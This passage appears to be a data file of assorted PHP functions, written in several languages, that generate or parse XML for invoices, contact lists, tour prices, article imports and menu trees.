<grp_smarturl_schema>'.$myPT->codeX($row[\"grp_smarturl_schema\"]).'</grp_smarturl_schema>\r\n\t\t</group>';\r\n\t\t}\r\n\t\t$xml.='\r\n\t</pagegroups>\r\n</phenotype>';\r\n\t\treturn $xml;\r\n\t}", "function xml_inside_function($file, $rettype, $function_name, $params, $var_args, &$xml, $prepinace, $k, $n){\n //fprintf(STDOUT, \"inside function\");\n $number = 1;\n $newline = \"\";\n $indent = \"\";\n if($prepinace[\"pretty\"]){\n $newline = \"\\n\"; \n }\n \n while($k != 0){\n $indent .= \" \";\n $k--;\n }\n //z jedneho stringu parametrov oddelenych ciarkami dostaneme\n //pole parametrov o samote\n $params = explode(\",\", $params);\n \n for($i = 0; $i < count($params); $i++){\n $params[$i] = trim($params[$i]); //odstranime prebytocne biele znaky na zaciatku a konci\n if ($params[$i] == \"void\" || $params[$i] == \" \" || empty($params[$i])){ //prazdny parameter nevypisujeme\n unset($params[$i]); \n continue;\n }\n }\n \n $params = array_filter($params); //pripadnu neexistenciu parametru riesime jeho odstranenim z pola\n \n if($prepinace[\"maxPar\"]){ //ak ma tato funkcia viac parametrov je vyzadovane, koncime\n if(count($params) > $n){\n return;\n } \n }\n \n \n $xml .= $indent.\"<function file=\\\"$file\\\" name=\\\"$function_name\\\" varargs=\\\"$var_args\\\" rettype=\\\"$rettype\\\">\".$newline;\n \n \n foreach($params as &$param){ \n $param = preg_replace('/[\\w]+$/','',$param); //odstranenie nazvu parametru\n $param = trim($param); //odstranenie prebytocnych bielych znakov na zaciatku a konci\n if($prepinace[\"removeWhitespaces\"]){ //odstranenie bielych znakov uprostred\n $patterns = array(\"/\\s+/\", \"/\\s+\\*/\", \"/\\*\\s+/\");\n $replacements = array(\" \", \"*\", \"*\");\n $param = preg_replace($patterns, $replacements, $param);\n }\n }\n \n for ($i = 0; $i < count($params); $i++){ \n $xml .= $indent.$indent.\"<param number=\\\"\".$number.\"\\\" type=\\\"$params[$i]\\\" />\".$newline; //vypis parametru\n $number += 1; //cislovanie parametrov\n }\n $xml .= $indent.\"</function>\".$newline; //ukoncenie funkcie s pripadnym odriadkovanim (ak xml)\n\n\n}", "public function gerarXML(){\n $dom = new \\DOMDocument(\"1.0\", \"ISO-8859-1\");\n\n #retirar os espacos em branco\n $dom->preserveWhiteSpace = false;\n\n #gerar o codigo\n $dom->formatOutput = true;\n\n #criando o nó principal (root)\n $root = $dom->createElement(\"agenda\");\n\n #nó filho (contato)\n $contato = $dom->createElement(\"contato\");\n\n #setanto nomes e atributos dos elementos xml (nós)\n $nome = $dom->createElement(\"nome\", \"Rafael Clares\");\n $telefone = $dom->createElement(\"telefone\", \"(11) 5500-0055\");\n $endereco = $dom->createElement(\"endereco\", \"Av. longa n 1\");\n\n #adiciona os nós (informacaoes do contato) em contato\n $contato->appendChild($nome);\n $contato->appendChild($telefone);\n $contato->appendChild($endereco);\n\n #adiciona o nó contato em (root) agenda\n $root->appendChild($contato);\n $dom->appendChild($root);\n\n # Para salvar o arquivo, descomente a linha\n //$dom->save(\"contatos.xml\");\n\n #cabeçalho da página\n //header(\"Content-Type: text/xml\");\n # imprime o xml na tela\n //print $dom->saveXML();\n //dd($dom->saveXML());\n //return Response::make($dom, '200')->header('Content-Type', 'text/xml');\n }", "public function toXML()\n {\n // TODO: Implement toXML() method.\n }", "function get_manejador_vista_xml()\n\t{\n\t\treturn $this->xml;\n\t}", "public function cleanUp()\n\t{\n\t\tif (file_exists(__DIR__ . DIRECTORY_SEPARATOR . 'data' . DIRECTORY_SEPARATOR . 'elements-tree.php')) {\n\t\t\tinclude(__DIR__ . DIRECTORY_SEPARATOR . 'data' . DIRECTORY_SEPARATOR . 'elements-tree.php');\n\t\t\tif (!isset($elements) or !is_array($elements))\n\t\t\t\treturn;\n\n\t\t\t$db = \\Model\\Db\\Db::getConnection();\n\n\t\t\tforeach ($elements as $el => $elData) {\n\t\t\t\tif (!$elData['table'])\n\t\t\t\t\tcontinue;\n\n\t\t\t\tif ($elData['order_by'] and $elData['order_by']['custom']) {\n\t\t\t\t\t$qryOrderBy = [];\n\t\t\t\t\tforeach ($elData['order_by']['depending_on'] as $field)\n\t\t\t\t\t\t$qryOrderBy[] = $field;\n\t\t\t\t\t$qryOrderBy[] = $elData['order_by']['field'];\n\n\t\t\t\t\t$righe = $db->selectAll($elData['table'], [], [\n\t\t\t\t\t\t'order_by' => $qryOrderBy,\n\t\t\t\t\t\t'stream' => true,\n\t\t\t\t\t]);\n\n\t\t\t\t\t$lastParent = null;\n\t\t\t\t\t$currentOrder = 0;\n\t\t\t\t\tforeach ($righe as $r) {\n\t\t\t\t\t\t$parentString = [];\n\t\t\t\t\t\tforeach ($elData['order_by']['depending_on'] as $field)\n\t\t\t\t\t\t\t$parentString[] = $r[$field];\n\t\t\t\t\t\t$parentString = implode(',', $parentString);\n\t\t\t\t\t\tif ($parentString and $parentString !== $lastParent) {\n\t\t\t\t\t\t\t$lastParent = $parentString;\n\t\t\t\t\t\t\t$currentOrder = 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$currentOrder++;\n\n\t\t\t\t\t\tif ($r[$elData['order_by']['field']] != $currentOrder) {\n\t\t\t\t\t\t\t$db->update($elData['table'], $r[$elData['primary']], [\n\t\t\t\t\t\t\t\t$elData['order_by']['field'] => $currentOrder,\n\t\t\t\t\t\t\t]);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "function gethoso($username, $password,$masodichvu,$noderoot,$nodeitem) {\r\n\r\n\tif(checkAuthentication($username, $password)){\r\n\t\ttry{\r\n\t\t\t\tif(!$noderoot){\r\n\t\t\t\t\t$noderoot = \"root\";\r\n\t\t\t\t}\r\n\t\t\t\tif(!$nodeitem){\r\n\t\t\t\t\t$nodeitem = \"SOURCEXML\";\r\n\t\t\t\t}\r\n\t\t\t\t$sql = sprintf(\"\r\n\t\t\t\t\tselect ID_LUUTRU,MAHOSO,MADICHVU,SOURCEXML as $nodeitem from adapter_luutru where IS_GET = 0\r\n\t\t\t\t\");\r\n\t\t\t\t//return $sql;\r\n\t\t\t\t$result = query($sql);\r\n\t\t\t\t$doc = new DomDocument('1.0', 'UTF-8');\r\n\t\t\t\t$root = $doc->createElement($noderoot);\r\n\t\t\t\t$root = $doc->appendChild($root);\r\n\t\t\t\twhile($row = mysql_fetch_assoc($result)){\t\t\t\t\t\r\n\t\t\t\t\t createXML($doc,$root,$row,$nodeitem);\r\n\t\t\t\t\t //update is_get\r\n\t\t\t\t\t $sql = sprintf(\"\r\n\t\t\t\t\t\tupdate adapter_luutru SET IS_GET = 1 where MAHOSO = '%s'\r\n\t\t\t\t\t \",$row[\"MAHOSO\"]);\r\n\t\t\t\t\t query($sql);\r\n\t\t\t\t}\r\n\t\t\t\t$xml_string = $doc->saveXML();\r\n\t\t\t\tWriteLog('gethoso',\"return Data to QLVBDH\");\r\n\t\t\t\treturn ($xml_string);\r\n\t\t}catch(Exception $ex){\r\n\t\t\tWriteLog('gethoso',$ex->getMessage());\r\n\t\t\treturn $ex->__toString();\r\n\t\t}\r\n\t}\r\n\t\r\n}", "public static function xmlToCSV(string $text){\n\t\tlibxml_use_internal_errors(true);\n\t\t// Evaluate all HTML entities\n\t\t$string = html_entity_decode($text, ENT_QUOTES, \"utf-8\");\n\t\t// Setting up the iteration of <TOUR> nodes\n\t\t$iterator = new SimpleXmlIterator($string, null);\n\t\t// Validating the XML\n\t\tif(empty(libxml_get_errors())){\n\t\t\t// Store tours <TOUR> in $tours\n\t\t\t$tours = $iterator->children();\n\t\t\t// Check if there are tours\n\t\t\tif(!empty($tours)){\n\t\t\t\t// Setting up the csv Headers\n\t\t\t\t// Removing DEP from headers\n\t\t\t\t$csv_headers = array_diff(array_keys((array)$tours[0]), ['DEP']);\n\t\t\t\t// Replacing DEP with MinPrice\n\t\t\t\t$csv_headers[] = \"MinPrice\";\n\t\t\t\t// Create header: col1|col2|col3...\n\t\t\t\t$output_csv = implode(\"|\", $csv_headers);\n\t\t\t\t// Loop trough each tour\n\t\t\t\tforeach($tours as $tour) {\n\t\t\t\t\t// The content of the csv Body\n\t\t\t\t\t$csv_tour_content = [];\n\t\t\t\t\t// Setting default value for minPrice\n\t\t\t\t\t$minPrice = 0;\n\t\t\t\t\t// loop trough tour params\n\t\t\t\t\tforeach($tour as $param) {\n\t\t\t\t\t\tif($param->getName() === 'DEP'){\n\t\t\t\t\t\t\t// Handling the DEP parameters here\n\t\t\t\t\t\t\t// Calculate the MinPrice using the DEP attributes\n\t\t\t\t\t\t\t//$price = (float)$param->attributes()['EUR']->__toString();\n\t\t\t\t\t\t\t$price = isset($param->attributes()['EUR']) ? (float)$param->attributes()['EUR']->__toString() : 0;\n\t\t\t\t\t\t\t// Check if the discount attribute exists or not. If not, the value will be 0\n\t\t\t\t\t\t\t// casting (float) on a string like: 15% will remove the % character and turn 15 to float\n\t\t\t\t\t\t\t$discount = $param->attributes()['DISCOUNT'] !== null ? (float)$param->attributes()['DISCOUNT']->__toString() : 0;\n\t\t\t\t\t\t\t// Modify the price if the $discount is higher than it's default value (meaning it's set)\n\t\t\t\t\t\t\tif($discount > 0) $price = $price * ((100 - $discount) / 100);\n\t\t\t\t\t\t\tif($minPrice === 0){\n\t\t\t\t\t\t\t\t// $minPrice is 0 by default. This will set this value in the first iteration step\n\t\t\t\t\t\t\t\t$minPrice = $price;\n\t\t\t\t\t\t\t} else if(($minPrice - $price) > 0){\n\t\t\t\t\t\t\t\t// If the calculated price of the current DEP field is lower than the $minPrice, update it here\n\t\t\t\t\t\t\t\t$minPrice = $price;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\t * Handling the regular tags (like: Title) here.\n\t\t\t\t\t\t\t * trim() removes the whitespaces and &nbsp;'s from the value\n\t\t\t\t\t\t\t * strip_tags() removes the unnecessary HTML tags if they are present\n\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\t$csv_tour_content[$param->getName()] = trim(strip_tags($param->__toString()), \" \\t\\n\\r\\0\\x0B\\xC2\\xA0\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t// number_format formats the $price to have 2 decimal places\n\t\t\t\t\t$csv_tour_content['MinPrice'] = number_format($minPrice, 2, '.', '');\n\t\t\t\t\t// new row \\n then create row: col1|col2|col3...\n\t\t\t\t\t$output_csv .= \"\\n\" . implode(\"|\", array_values($csv_tour_content));\n\t\t\t\t}\n\t\t\t\treturn $output_csv;\n\t\t\t} // empty -> no tours\n\t\t} // XML error\n\t\t// Return false if there are any errors\n\t\treturn false;\n\t}", "function firmaFactura($fechaInicio, $fechaFin, $archivo) { \n $db = db_connect();\n if ($db->connect_errno) {\n die('Error de Conexion: ' . $db->connect_errno);\n }\n $stmt = \"\";\n $sql = \"select TxnID, TxnNumber, CustomerRef_FullName, CustomField10 from invoice where CustomField10=?\";\n $stmt = $db->prepare($sql) or die(mysqli_error($db));\n $selec = \"SELECCIONADA\";\n $stmt->bind_param(\"s\", $selec);\n $flag = FALSE;\n $existe = $stmt->execute();\n $stmt->bind_result($db_id, $db_numero, $db_cliente, $db_estado); /* fetch values */\n/*\n * DOMDocument es el nombre del objetgo para crear un archivo XML\n * Despues se utiliza la forma de PHP de generar tags en XML\n */\n $doc = new DOMDocument();\n $doc->formatOutput = TRUE;\n $root = $doc->createElement('Facturas');\n $factura = $doc->createElement('factura');\n/*\n * Se procesan todas las facturas que tienen en el campo del usuario de la tabla de invoices del QB\n * el estado SELECCIONADA\n */\n while ($stmt->fetch()) {\n \n $flag = TRUE;\n/*\n * Informacion del Emisor\n */\n $db_infoTributaria = \"\";\n $infoTributaria = $doc->createElement('infoTributaria', $db_infoTributaria);\n $db_ambiente = $_SESSION['Ambiente'];\n $ambiente = $doc->createElement('ambiente', $db_ambiente);\n $db_tipoEmision = $_SESSION['Tipo Emision'];\n $tipoEmision = $doc->createElement('tipoEmision', $db_tipoEmision);\n $db_razonSocial = $_SESSION['Razon Social'];\n $razonSocial = $doc->createElement('razonSocial', $db_razonSocial);\n $db_nombreComercial = $_SESSION['Nombre Comercial'];\n $nombreComercial = $doc->createElement('nombreComercial', $db_nombreComercial);\n $db_ruc = $_SESSION['RUC'];\n $ruc = $doc->createElement('ruc', $db_ruc);\n $db_claveAcceso = $_SESSION['Clave Acceso'];\n $claveAcceso = $doc->createElement('claveAcceso', $db_claveAcceso);\n $db_codDoc = $_SESSION['Tipo Documento'];\n $codDoc = $doc->createElement('codDoc', $db_codDoc);\n $db_estab = $_SESSION['Establecimiento'];\n $estab = $doc->createElement('estab', $db_estab);\n $db_ptoEmi = $_SESSION['Punto'];\n $ptoEmi = $doc->createElement('ptoEmi', $db_ptoEmi);\n $db_secuencial = \"\";\n $secuencial = $doc->createElement('secuencial', $db_secuencial);\n $db_dirMatriz = $_SESSION['Direccion Matriz'];\n $dirMatriz = $doc->createElement('dirMatriz', $db_dirMatriz);\n $db_codigo = \"\";\n $codigo = $doc->createElement('codigo', $db_codigo);\n\n $infoTributaria->appendChild($ambiente);\n $infoTributaria->appendChild($codigo);\n $infoTributaria->appendChild($razonSocial);\n $infoTributaria->appendChild($nombreComercial);\n $infoTributaria->appendChild($ruc);\n $infoTributaria->appendChild($claveAcceso);\n $infoTributaria->appendChild($codDoc);\n $infoTributaria->appendChild($estab);\n $infoTributaria->appendChild($ptoEmi);\n $infoTributaria->appendChild($secuencial);\n $infoTributaria->appendChild($dirMatriz);\n $infoTributaria->appendChild($codigo);\n/*\n * Aqui esta el proceso de todas las facturas\n */\n\n $db_infoFactura = \"\";\n $infoFactura = $doc->createElement('infoFactura', $db_infoFactura);\n\n $db_fechaEmision = \"\";\n $fechaEmision = $doc->createElement('fechaEmision', $db_fechaEmision);\n $db_dirEstablecimiento = \"\";\n $dirEstablecimiento = $doc->createElement('dirEstablecimiento', $db_dirEstablecimiento);\n $db_contribuyenteEspecial = \"\";\n $contribuyenteEspecial = $doc->createElement('contribuyenteEspecial', $db_contribuyenteEspecial);\n $db_obligadoContabilidad = \"\";\n $obligadoContabilidad = $doc->createElement('obligadoContabilidad', $db_obligadoContabilidad);\n $db_tipoIdentificacionComprador = \"\";\n $tipoIdentificacionComprador = $doc->createElement('tipoIdentificacionComprador', $db_tipoIdentificacionComprador);\n $db_razonSocialComprador = \"\";\n $razonSocialComprador = $doc->createElement('razonSocialComprador', $db_razonSocialComprador);\n $db_identificacionComprador = \"\";\n $identificacionComprador = $doc->createElement('identificacionComprador', $db_identificacionComprador);\n $db_totalSinImpuestos = \"\";\n $totalSinImpuestos = $doc->createElement('totalSinImpuestos', $db_totalSinImpuestos);\n $db_totalDescuento = \"\";\n $totalDescuento = $doc->createElement('totalDescuento', $db_totalDescuento);\n $db_totalConImpuestos = \"\";\n $totalConImpuestos = $doc->createElement('totalConImpuestos', $db_totalConImpuestos);\n\n /*\n Una factura puede tener mas de un impuesto\n */\n $db_totalImpuesto = \"\";\n $totalImpuesto = $doc->createElement('totalImpuesto', $db_totalImpuesto);\n\n $codigo = $doc->createElement('codigo', $db_codigo);\n\n $db_codigoPorcentaje = \"\";\n $codigoPorcentaje = $doc->createElement('codigoPorcentaje', $db_codigoPorcentaje);\n\n $db_baseImponible = \"\";\n $baseImponible = $doc->createElement('baseImponible', $db_baseImponible);\n\n $db_valor = \"\";\n $valor = $doc->createElement('valor', $db_valor);\n\n $totalImpuesto->appendChild($codigo);\n $totalImpuesto->appendChild($codigoPorcentaje);\n $totalImpuesto->appendChild($baseImponible);\n $totalImpuesto->appendChild($valor);\n\n $totalConImpuestos->appendChild($totalImpuesto);\n\n $db_propina = \"\";\n $propina = $doc->createElement('propina', $db_propina);\n $db_importeTotal = \"\";\n $importeTotal = $doc->createElement('importeTotal', $db_importeTotal);\n $db_moneda = \"\";\n $moneda = $doc->createElement('moneda', $db_moneda);\n\n $infoFactura->appendChild($fechaEmision);\n $infoFactura->appendChild($dirEstablecimiento);\n $infoFactura->appendChild($contribuyenteEspecial);\n $infoFactura->appendChild($obligadoContabilidad);\n $infoFactura->appendChild($tipoIdentificacionComprador);\n $infoFactura->appendChild($razonSocialComprador);\n $infoFactura->appendChild($identificacionComprador);\n $infoFactura->appendChild($totalSinImpuestos);\n $infoFactura->appendChild($totalDescuento);\n $infoFactura->appendChild($totalConImpuestos);\n $infoFactura->appendChild($propina);\n $infoFactura->appendChild($importeTotal);\n $infoFactura->appendChild($moneda);\n\n $db_detalles = \"\";\n $detalles = $doc->createElement('detalles', $db_detalles);\n\n /*\n Esto es por cada producto\n */\n\n $db_detalle = \"\";\n $detalle = $doc->createElement('detalle', $db_detalle);\n\n $db_codigoPrincipal = \"\";\n $codigoPrincipal = $doc->createElement('codigoPrincipal', $db_codigoPrincipal);\n $db_descripcion = \"\";\n $descripcion = $doc->createElement('descripcion', $db_descripcion);\n $db_cantidad = \"\";\n $cantidad = $doc->createElement('cantidad', $db_cantidad);\n $db_precioUnitario = \"\";\n $precioUnitario = $doc->createElement('precioUnitario', $db_precioUnitario);\n $db_descuento = \"\";\n $descuento = $doc->createElement('descuento', $db_descuento);\n $db_precioTotalSinImpuesto = \"\";\n $precioTotalSinImpuesto = $doc->createElement('precioTotalSinImpuesto', $db_precioTotalSinImpuesto);\n\n $db_impuestos = \"\";\n $impuestos = $doc->createElement('impuestos', $db_impuestos);\n\n /*\n Puede haber mas de un impuesto por el mismo producto\n */\n $db_impuesto = \"\";\n $impuesto = $doc->createElement('impuesto', $db_impuesto);\n\n $codigo = $doc->createElement('codigo', $db_codigo);\n $codigoPorcentaje = $doc->createElement('codigoPorcentaje', $db_codigoPorcentaje);\n $db_tarifa = \"\";\n $tarifa = $doc->createElement('tarifa', $db_tarifa);\n $baseImponible = $doc->createElement('baseImponible', $db_baseImponible);\n $valor = $doc->createElement('valor', $db_valor);\n $impuesto->appendChild($codigo);\n $impuesto->appendChild($codigoPorcentaje);\n $impuesto->appendChild($tarifa);\n $impuesto->appendChild($baseImponible);\n $impuesto->appendChild($valor);\n\n $impuestos->appendChild($impuesto);\n\n $detalle->appendChild($codigoPrincipal);\n $detalle->appendChild($descripcion);\n $detalle->appendChild($cantidad);\n $detalle->appendChild($precioUnitario);\n $detalle->appendChild($descuento);\n $detalle->appendChild($precioTotalSinImpuesto);\n $detalle->appendChild($impuestos);\n\n $detalles->appendChild($detalle);\n\n $db_infoAdicional = \"\";\n $infoAdicional = $doc->createElement('infoAdicional', $db_infoAdicional);\n\n $db_campoAdicional = \"\";\n $campoAdicional = $doc->createElement('campoAdicional', $db_campoAdicional);\n $campoAdicionalATTR = $doc->createElement('nombre');\n $campoAdicionalATTR->value = \"Direccion\";\n $campoAdicional->appendChild($campoAdicionalATTR);\n\n $campoAdicional = $doc->createElement('campoAdicional', $db_campoAdicional);\n $campoAdicionalATTR = $doc->createElement('Email');\n $campoAdicionalATTR->value = \"[email protected]\";\n $campoAdicional->appendChild($campoAdicionalATTR);\n\n $factura->appendChild($infoAdicional);\n $factura->appendChild($detalles);\n $factura->appendChild($infoFactura);\n $factura->appendChild($infoTributaria);\n\n $root->appendChild($factura);\n }\n $doc->appendChild($root);\n $doc->save(\"../tmp/$archivo\");\n /* close statement */\n $stmt->close();\n $db->close();\n generaArchivo($archivo);\n}", "function saveToXML(){\n\t\t$str='<collections>';\n\t\t$str.='<collection>';\n\t\tforeach($this->items as $item){\n\t\t\t$str.=\"<item>\";\n\t\t\t$str.=\"<show>$item[0]</show>\";\n\t\t\t$str.=\"<description>\".htmlspecialchars($item[1]).\"</description>\";\n\t\t\t$str.=\"<url>\".htmlspecialchars($item[2]).\"</url>\";\n\t\t\t$str.=\"</item>\";\n\t\t}\n\t\t$str.='</collection>';\n\t\t$str.='</collections>';\n\t\t$xml = new SimpleXMLElement($str);\n\t\t$filename=$this->filename.\".xml\";\n\t\theader('Content-Type: text/xml');\n\t\theader('Content-Disposition: attachment; filename=\"'.$filename.'\"');\n\t\theader('Content-Transfer-Encoding: binary');\n\t\tdie($xml->asXML());\n\t\theader(\"location:index.php\");\n\t}", "function toXML() {\n\t\treturn \"<row>\\n\" .\n\t\t\"<FiscaalGroepID>$this->FiscaalGroepID</FiscaalGroepID>\\n\" .\n\t\t\"<FiscaalGroupType>$this->FiscaalGroupType</FiscaalGroupType>\\n\" .\n\t\t\"<GewijzigdDoor>$this->GewijzigdDoor</GewijzigdDoor>\\n\" .\n\t\t\"<GewijzigdOp>$this->GewijzigdOp</GewijzigdOp>\\n\" .\n\t\t\"</row>\\n\";\n\t}", "public function generate_eof()\n {\n $this->xml->endDocument();\n $result = $this->xml->outputMemory();\n print $result;\n }", "function convertir_pmg($u) {\n\n\tinclude_spip('inc/charsets');\n\tinclude_spip('inc/filtres');\n\n\t// debug xml\n\t$m['xml'] = \"<pre style='border:1px solid #cccccc; padding:5px;height:300px;overflow:auto'>\" . entites_html($u) . \"</pre>\" ;\n\n\t// passer en utf-8 en nettoyant les entites\n\t$u = unicode2charset(html2unicode($u)) ;\n\n\t// espaces utf-8 , inutile car on à l'option /u\n\t//$u = str_replace(\"\\xC2\\xA0\", \" \", $u);\n\n\t$u = trim($u);\n\n\t// id pdf <artikel-pdf>\n\t$m['id_artikel'] = trim(str_replace(\".pdf\",\"\", textebrut(extraire_balise($u, \"artikel_pdf\"))));\n\n\t// pages\n\t//\t<seite_start>\n\t//\t<seite_ende>\n\n\t$m['pages'] = trim(textebrut(extraire_balise($u, \"seite_start\")) . \" \" . textebrut(extraire_balise($u, \"seite_ende\")));\n\t$p = explode(\" \",$m['pages']) ;\n\tif($p[0] < 10 and !preg_match(\"/^0/\", $m['pages']))\n\t\t$m['pages'] = \"0\" . $m['pages'] ;\n\n\t// <datum>11012018</datum>\n\t$datum = textebrut(extraire_balise($u, \"datum\")) ;\n\t$m['date'] = substr($datum, 4 ,4) . \"-\" . substr($datum, 2 ,2) . \"-\" . substr($datum, 0 ,2) . \" 00:00:00\" ;\n\n\t// url <weblink>...</weblink>\n\t$m['url'] = textebrut(extraire_balise($u, \"weblink\")) ;\n\n\t// illustrations\n\t//<abbildung>\n\t//\t<foto>p846705.jpg</foto>\n\t//\t<fotograf>MAJDI MOHAMMED/ap</fotograf>\n\t//\t<beschriftung>Anti-Trump-Proteste in Nablus, 22. Dezember 2017</beschriftung>\n\t//</abbildung>\"\n\t//<abbildung>\n\t//<infografik>p846706.jpg</infografik>\n\t//</abbildung>\n\n\t/*\n\t<ins class='documents'>{\"id_document\":\"21703\",\"id_vignette\":\"0\",\"titre\":\"Qui reconna\\u00eet la Palestine ?\",\"descriptif\":\"\",\"fichier\":\"png\\/3b-reconnaissance.png\",\"taille\":\"90179\",\"date\":\"2018-01-23 12:05:39\",\"distant\":\"non\",\"extension\":\"png\",\"contenu\":\"\",\"extrait\":\"non\",\"id_source\":null,\"vieux_url\":\"\",\"statut\":\"prop\",\"date_publication\":\"0000-00-00 00:00:00\",\"brise\":\"0\",\"credits\":\"\",\"media\":\"image\",\"id_objet\":\"58351\",\"objet\":\"article\",\"vu\":\"non\",\"rang_lien\":\"0\"}</ins>\n\n// Si carte :\n<ins class='mots_cles'>04. type::carte ou graphique</ins>\n\n\t*/\n\n\t$illustrations = extraire_balises($u,\"abbildung\");\n\tforeach($illustrations as $i){\n\t\t$fichier = textebrut(extraire_balise($i,\"foto\"));\n\t\t$credit = textebrut(extraire_balise($i,\"fotograf\"));\n\t\t$legende = textebrut(extraire_balise($i,\"beschriftung\"));\n\t\t$infographie = textebrut(extraire_balise($i,\"infografik\"));\n\t\t$taille= \"1\" ;\n\n\t\tif($infographie)\n\t\t\t$m['infographie'] = \"oui\" ;\n\n\t\t$file = $infographie.$fichier ;\n\n\t\t$m['documents'] = \"{\\\"fichier\\\":\\\"$file\\\",\\\"taille\\\":\\\"$taille\\\",\\\"distant\\\":\\\"non\\\",\\\"extension\\\":\\\"jpg\\\",\\\"credits\\\":\\\"$credit\\\",\\\"descriptif\\\":\\\"$legende\\\"}\" ;\n\n\t\t$u = str_replace($i,\"\",$u);\n\t}\n\n\t// <titel>Die Wahhabiten</titel> <untertitel>Monarchie und Religion in Saudi-Arabien </untertitel>\n\n\t$m['titre'] = $datum = textebrut(extraire_balise($u, \"titel\")) ;\n\t$m['soustitre'] = $datum = textebrut(extraire_balise($u, \"untertitel\")) ;\n\n\t// <autor_name>\n\t$auteurs = extraire_balises($u, \"autor_name\") ;\n\tforeach($auteurs as &$a)\n\t\t$a = textebrut($a);\n\t$m['auteurs'] = implode(\"@@\",$auteurs) ;\n\n\t// recaler le traducteur\n\t// <absatz>Aus dem Französischen von Claudia Steinitz<i/></absatz>\n\tpreg_match('~<absatz>Aus de.*von.*</absatz>~Uu',$u,$trad);\n\t$u = str_replace($trad[0],\"\",$u);\n\t$m['traducteur'] = textebrut($trad[0]);\n\t//var_dump($trad);\n\n\t// recaler l'auteur au debut\n\t// <absatz>von <strong>Nabil Mouline</strong></absatz>\n\t$u = preg_replace('~<absatz>von <strong>(.*)</strong></absatz>~Uu',\"\",$u);\n\t// variante\n\t$u = preg_replace('~<absatz>\\R*\\s*<strong>von (.*)</strong>\\R*\\s*</absatz>~Uums',\"\",$u);\n\n\t// recaler la bio\n\tpreg_match('~<absatz>'.$auteurs[0].'.*</absatz>~Uu',$u,$bio);\n\t$u = str_replace($bio[0],\"\",$u);\n\t$m['signature'] = textebrut($bio[0]);\n\n\t// recaler les notes\n\t// <absatz><sup>1</sup> Siehe Nabil Mouline, „Traditionalismus und Herrschaft“, <i>Le Monde diplomatiqu</i>e, April 2015.</absatz>\n\t$u = preg_replace('~<sup>(\\d+)</sup>~Uu',\"(\\\\1)\",$u);\n\n\t// paragraphes\n\t$u = str_replace(\"<absatz>\",\"\",$u);\n\t$u = str_replace(\"</absatz>\",\"\\n\\n\",$u);\n\n\t// encadrés\n\t//<box>\n\t//\t<box-titel>Im Licht des Völkerrechts</box-titel>\n\t//\t<box-text>\n\t//\t</box-text>\n\t//</box>\n\n\t$encadres = extraire_balises($u,\"box\");\n\tforeach($encadres as $e){\n\t\t$titre_encadre = textebrut(extraire_balise($e,\"box_titel\"));\n\t\t$texte_encadre = trim(preg_replace(\",</?box_text>,\",\"\",extraire_balise($e,\"box_text\"))) . \"\\n\" ;\n\t\t$u = str_replace($e,\"\\n\\n<quote>\\n{{{$titre_encadre}}}\\n\\n$texte_encadre\\n</quote>\",$u);\n\t}\n\n\t// Inter\n\t// <zwischentitel>Symbolische Reförmchen stören die Ulemas nicht</zwischentitel>\n\t$u = str_replace(\"<zwischentitel>\",\"{{{\",$u);\n\t$u = str_replace(\"</zwischentitel>\",\"}}}\\n\\n\",$u);\n\n\t$m['texte'] = trim(preg_replace(\",</?text>,\",\"\",extraire_balise($u,\"text\"))) . \"\\n\" ;\n\n\tforeach($champs = array(\"texte\", \"chapo\", \"signature\", \"credit\") as $t){\n\t\t\t// texte spip\n\t\t\tif($m[$t]){\n\n\t\t\t\t// itals\n\t\t\t\t$m[$t] = str_replace(\"<i>\",\"{\",$m[$t]);\n\t\t\t\t$m[$t] = str_replace(\"</i>\",\"}\",$m[$t]);\n\n\t\t\t\t// gras\n\t\t\t\t$m[$t] = str_replace(\"<strong>\",\"{{\",$m[$t]);\n\t\t\t\t$m[$t] = str_replace(\"</strong>\",\"}}\",$m[$t]);\n\t\t\t\t// espaces en debut de lignes\n\t\t\t\t$m[$t] = preg_replace(\",^ +,im\", \"\", $m[$t]);\n\t\t\t}\n\t}\n\n\t// envoyer dans un pipeline pour traitements persos.\n\n\t// traitements persos en pipeline maison sur $c avant d'écrire le fichier converti\n\tif(find_in_path('convertisseur_perso.php'))\n\t\tinclude_spip(\"convertisseur_perso\");\n\tif (function_exists('nettoyer_conversion')){\n\t\t$m = nettoyer_conversion($m);\n\t}\n\n\treturn $m ;\n}", "function xml($fichier, $meteocode, $date, $code)\n{\n $lines = file($fichier);\n $id = $meteocode;\n // Affiche toutes les lignes du tableau comme code HTML, avec les numéros de ligne\n foreach($lines as $line_num => $line)\n {\n\n $chaine = strpbrk(htmlspecialchars($line), 'T'); //commencer à partir de 'T'\n\n if(strstr($chaine, $id . '.' . $date['mm'] . '.' . $date['jj']))\n { // si la chaine contient le id.mm.jj\n $x = strpos($chaine, 'x', 0);\n $rest = substr($chaine, 0, $x + 3); // retourne \"abcde\"\n }\n }\n return($rest);\n}", "function toXML()\n {\n // Not implemented yet.\n }", "function setMenu($kode_jabatan){\r\n\t\t \r\n\t\t \r\n\t\t$sql = \" SELECT M.KODE_MENU , M.NAMA_MENU, M.KODE_MENU_INDUK, MJ.KODE_MENU as KODE_MENU_MJ FROM EP_MS_MENU M \r\n\t\t\t\t\tLEFT JOIN (SELECT KODE_MENU FROM EP_MS_MENU_JABATAN WHERE KODE_JABATAN = \".$kode_jabatan.\" ) MJ ON M.KODE_MENU = MJ.KODE_MENU\t\r\n\t\t\t\t\tSTART WITH M.KODE_MENU = 0 \r\n\t\t\t\t\tCONNECT BY PRIOR M.KODE_MENU = M.KODE_MENU_INDUK \r\n\t\t\t\t\tORDER BY M.URUT \";\r\n \t\t\r\n \t\t$query = $this->db->query($sql);\r\n \t\t\r\n\t\t$arrModule = array(); \r\n\t\t$xml = new DOMDocument( \"1.0\", \"ISO-8859-15\" );\t \r\n\t\t// $this->addLi($xml, 0,\"\", \"T\" , \"Menu Management\",\"\",\"\");\r\n\t\tforeach ($query->result_array() as $row)\r\n\t\t{\r\n\t\t\t // $arrModule[$row['KODE_MENU']] = $row['NAMA_MENU'];\r\n\t\t\t \r\n\t\t\t if ( $row['KODE_MENU_INDUK'] == 0 ) {\r\n\t\t\t\t$this->addLi($xml, 